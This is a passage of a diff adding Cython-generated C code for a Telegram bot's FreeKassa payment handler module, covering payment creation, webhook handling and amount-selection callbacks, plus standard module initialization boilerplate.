if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__10); + __Pyx_GIVEREF(__pyx_tuple__10); + + /* "handlers/payments/freekassa_pay.py":191 + * if payment_url: + * keyboard = InlineKeyboardMarkup( + * inline_keyboard=[[InlineKeyboardButton("", url=payment_url)]] # <<<<<<<<<<<<<< + * ) + * await message.answer( + */ + __pyx_tuple__22 = PyTuple_Pack(1, __pyx_n_u__21); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__22); + __Pyx_GIVEREF(__pyx_tuple__22); + + /* "handlers/payments/freekassa_pay.py":30 + * + * + * def generate_signature(params, api_key): # <<<<<<<<<<<<<< + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + */ + __pyx_tuple__26 = PyTuple_Pack(7, __pyx_n_s_params, __pyx_n_s_api_key, __pyx_n_s_sorted_params, __pyx_n_s_sign_string, __pyx_n_s_k, __pyx_n_s_genexpr, __pyx_n_s_genexpr); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__26); + __Pyx_GIVEREF(__pyx_tuple__26); + __pyx_codeobj__27 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__26, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_freekassa_pay_2, __pyx_n_s_generate_signature, 30, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__27)) __PYX_ERR(0, 30, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":36 + * + * + * async def create_payment(user_id, amount, email, ip): # <<<<<<<<<<<<<< + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) + */ + __pyx_tuple__28 = PyTuple_Pack(10, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_email, __pyx_n_s_ip, __pyx_n_s_payment_id, __pyx_n_s_nonce, __pyx_n_s_params, __pyx_n_s_response, __pyx_n_s_response_data, __pyx_n_s_e); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + __pyx_codeobj__2 = (PyObject*)__Pyx_PyCode_New(4, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__28, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_freekassa_pay_2, __pyx_n_s_create_payment, 36, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__2)) __PYX_ERR(0, 36, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":70 + * + * + * async def freekassa_webhook(request): # <<<<<<<<<<<<<< + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") + */ + __pyx_tuple__29 = PyTuple_Pack(4, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_user_id, __pyx_n_s_amount); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__29); + __Pyx_GIVEREF(__pyx_tuple__29); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__29, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_freekassa_pay_2, __pyx_n_s_freekassa_webhook, 70, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 70, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__30 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder, __pyx_n_s_i); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__30); + __Pyx_GIVEREF(__pyx_tuple__30); + __pyx_codeobj__6 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__30, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_freekassa_pay_2, __pyx_n_s_process_callback_pay_freekassa, 87, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__6)) __PYX_ERR(0, 87, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":127 + * + * + * @router.callback_query(F.data.startswith("freekassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__31 = PyTuple_Pack(1, __pyx_kp_u_freekassa_amount); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__31); + __Pyx_GIVEREF(__pyx_tuple__31); + __pyx_tuple__32 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_user_email, __pyx_n_s_user_ip, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__32); + __Pyx_GIVEREF(__pyx_tuple__32); + __pyx_codeobj__9 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_freekassa_pay_2, __pyx_n_s_process_amount_selection, 127, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__9)) __PYX_ERR(0, 127, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":167 + * + * + * @router.callback_query(F.data == "enter_custom_amount_freekassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__33 = PyTuple_Pack(2, __pyx_n_s_callback_query, __pyx_n_s_state); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__33); + __Pyx_GIVEREF(__pyx_tuple__33); + __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 2, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_freekassa_pay_2, __pyx_n_s_process_enter_custom_amount, 167, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":175 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__34 = PyTuple_Pack(7, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_user_email, __pyx_n_s_user_ip, __pyx_n_s_payment_url, __pyx_n_s_keyboard); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__34); + __Pyx_GIVEREF(__pyx_tuple__34); + __pyx_codeobj__19 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_freekassa_pay_2, __pyx_n_s_process_custom_amount_input, 175, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__19)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_6 = PyInt_FromLong(6); if (unlikely(!__pyx_int_6)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1000 = PyInt_FromLong(1000); if (unlikely(!__pyx_int_1000)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr)) __PYX_ERR(0, 32, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr_spec, __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr = &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr->tp_dictoffset && __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment)) __PYX_ERR(0, 36, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment_spec, __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment = &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment->tp_dictoffset && __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook)) __PYX_ERR(0, 70, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook_spec, __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook = &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa)) __PYX_ERR(0, 87, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa_spec, __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa = &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa) < 0) __PYX_ERR(0, 87, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa->tp_dictoffset && __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection)) __PYX_ERR(0, 127, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection = &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount)) __PYX_ERR(0, 167, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount = &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input)) __PYX_ERR(0, 175, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 175, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input = &__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 175, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_freekassa_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_freekassa_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "freekassa_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initfreekassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initfreekassa_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_freekassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_freekassa_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int 